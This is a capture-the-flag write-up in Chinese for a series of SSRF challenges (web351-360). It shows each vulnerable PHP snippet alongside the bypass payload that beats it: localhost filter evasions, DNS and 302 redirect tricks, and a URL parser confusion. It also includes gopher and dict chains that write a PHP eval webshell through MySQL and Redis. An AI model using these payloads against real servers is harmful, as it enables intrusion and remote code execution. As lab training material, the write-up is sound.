web351
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
第一题,啥也没过滤
payload:
url=http://127.0.0.1/flag.php
web352
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
过滤了127.0.0|localhost,可以用127.0.1绕过
payload:
url=http://127.0.1/flag.php
web353-354
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
这题我试了短网址、ip地址进制转换,都不行,还是要修改自己域名的解析记录,把A记录
全部修改成127.0.0.1
payload:
url=http://自己的域名/flag.php
web355-356
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
限制了host的长度为5,先看本地测试
post给url的是http://127.0.0.1
,host指向的是127.0.0.1
payload:
url=http://127.1/flag.php
url=http://0/flag.php
web356用第二种payload即可
web357
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>
302跳转,在自己的vps上写一个index.php
<?php
header("Location:http://127.0.0.1/flag.php");
然后
url=http://自己的域名/index.php
就能得到flag。没有vps的可以去buu上开一个暂时的
web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
看正则,要求必须以http://ctf
开头,以show
结尾,这里可以用@
payload:
url=http://ctf.@127.0.0.1/flag.php#show
web359
hint是打无密码的mysql,用Gopherus来打,方便快捷,要注意的是Gopherus
用的是python2
python gopherus.py --exploit mysql
root
select "<?php @eval($_POST[a]);?>" into outfile "/var/www/html/1.php";
然后将payload下划线后面的内容在burp中url加密一下,即可成功写马,然后蚁剑连上,在根目录中找到flag
web360
hint是打redis,这题不用脚本,手打一下
首先用dict协议探测一下是否在6379端口
url=dict://127.0.0.1:6379
发现存在,下一步设置本地存放dir
url=dict://127.0.0.1:6379/config:set:dir:/var/www/html
然后开始写马,一般用十六进制
url=dict://127.0.0.1:6379/set:shell:"\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x61\x5d\x29\x3b\x3f\x3e"
设置文件名
url=dict://127.0.0.1:6379/set:dbfilename:111.php
最后保存
url=dict://127.0.0.1:6379/save
写马成功
参考文章:浅析Redis中SSRF的利用